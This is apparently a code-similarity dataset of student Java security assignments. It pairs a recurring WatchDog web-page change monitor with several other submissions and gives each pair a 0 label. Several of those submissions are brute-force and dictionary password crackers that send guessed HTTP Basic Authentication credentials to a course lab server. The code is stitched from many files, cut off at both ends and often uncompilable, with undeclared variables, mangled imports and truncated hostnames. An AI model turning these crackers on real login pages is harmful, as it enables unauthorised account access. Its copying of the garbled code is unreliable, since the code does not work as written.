Time in secs..."+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } return "Password could not found"; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
194.java
195.java
0
import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i<password.length;i++){ for(int j=0;j<password.length;j++){ for(int k=0;k<password.length;k++){ pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]); try { System.out.println("Trying crack using: "+pass); at++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { finish = System.currentTimeMillis(); float time = finish - t; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } } catch (IOException e) { System.out.println("Exception happened"); e.printStackTrace(); System.exit(-1); } } } } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
082.java
195.java
0
import java.net.*; import java.util.*; import java.io.*; public class BruteForce { URL url; URLConnection uc; String username, password, encoding; int pretime, posttime; String c ; public BruteForce(){ pretime = new Date().getTime(); try{ url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); }catch(MalformedURLException e){ e.printStackTrace(); } username = ""; } public void checkPassword(char[] pw){ try{ password = new String(pw); encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes()); uc = url.openConnection(); uc.setRequestProperty("Authorization", " " + encoding); bf = uc.getHeaderField(null); System.out.println(password); if(bf.equals("HTTP/1.1 200 OK")){ posttime = new Date().getTime(); diff = posttime - pretime; System.out.println(username+":"+password); System.out.println(); System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds"); System.exit(0); } }catch(MalformedURLException e){ e.printStackTrace(); }catch(IOException ioe){ ioe.printStackTrace(); } } public static void main (String[] args){ BruteForce bf = new BruteForce(); char i, j, k; for(i='a'; i<='z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='Z'; i++){ for(j='a'; j<='z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='Z'; j++){ for(k='a'; k<='z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='a'; j<='z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='a'; i<='z'; i++){ for(j='A'; j<='Z'; j++){ for(k='A'; k<='Z'; k++){ char[] pw = {i, j, k}; bf.checkPassword(pw); } } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } for(j='A'; j<='z'; j++){ if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){ continue; } char[] pw = {i, j}; bf.checkPassword(pw); } } for(i='A'; i<='z'; i++){ if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){ continue; } char[] pw = {i}; bf.checkPassword(pw); } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
176.java
195.java
0
public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
105.java
195.java
0
import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println ("Invalid URL"); return false; } catch (IOException e) { pw.println ("Error URL"); return false; } } public void getPassword() { String dictionary="words"; String urlString="http://sec-crack.cs.rmit.edu./SEC/2/"; String login=""; String pwd=" "; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println("Dictionary not found."); } catch(IOException e) { System.out.println("Error dictionary"); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
136.java
195.java
0
import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String("Report of WatchDog"); int i; try { prss = rt.exec("md5sum first.html"); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println("this is of first.html--->"+initialmd5); prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"); prss = rt.exec("md5sum present.html"); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println("this is of present.html---->"+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println("The checksum found using md5sum is same"); else { prss = rt.exec("diff first.html present.html > diff.html"); System.out.println(" is different"); prss = null; mesg1 ="php mail.php"; prss = rt.exec(mesg1); } prss = rt.exec("rm present.*"); }catch(java.io.IOException e){} } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
051.java
195.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); System.out.println("in catch"); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); doConnect(i, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int timetaken) { runTime = timetaken; } public static void main ( String args[] ) throws IOException { runTime1 = System.currentTimeMillis(); Dictionary newDo = new Dictionary(); newDo.setTimeTaken(runTime1); newDo. getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
062.java
195.java
0
import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i<x1;i++) b[i] = bb[i]; for(int i=x1;i<x2;i++) b[i] = 0; } char[] c = new char[b.length/3*4]; int i=0, j=0; while (i+3<=b.length) { c[j] = table[(b[i] >> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i<MAXTHREAD;i++) { attempt += threads[i].getLocalAttempt(); } } public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); System.out.println(); System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------"); System.out.println(); System.out.println(" Current connections : "+curconn); System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)"); System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)"); System.out.println(); System.out.println(" ---------------------------------------------------------------------------"); System.out.println(); } public class MyTT extends TimerTask { public synchronized void run() { if (count==REPORT_INTERVAL) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); getAccumulatedLocalAttempt(); double p = (double)attempt/(double)ALLCOMBI*100; double aps = (double) (attempt - attm) / REPORT_INTERVAL; attmArr[attmArrIdx++] = aps; printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx); count = 0; } else if (count==0) { getAccumulatedLocalAttempt(); attm = attempt; count++; } else { count++; } } public synchronized double getOverallAttemptPerSec() { double val = 0; for (int i=0;i<attmArrIdx;i++) { val+= attmArr[i]; } return val / attmArrIdx; } private int count = 0; private int attm; private int attmArrIdx = 0; private double[] attmArr = new double[2*60*60/10]; } public synchronized void interruptAll(int ID) { for (int i=0;i<MAXTHREAD;i++) { if ((threads[i].isAlive()) && (i!=ID)) { threads[i].interrupt(); } notifyAll(); } } public synchronized void setSuccess(int ID, String p) { passw = p; success = ID; notifyAll(); interruptAll(ID); end = System.currentTimeMillis(); } public synchronized boolean isSuccess() { return (success>=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx<MAXCONN;idx++) if (!connused[idx]) { connused[idx] = true; break; } notifyAll(); } return idx; } public synchronized void decreaseConn(int idx) { curconn--; connused[idx] = false; notifyAll(); } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super(" Thread 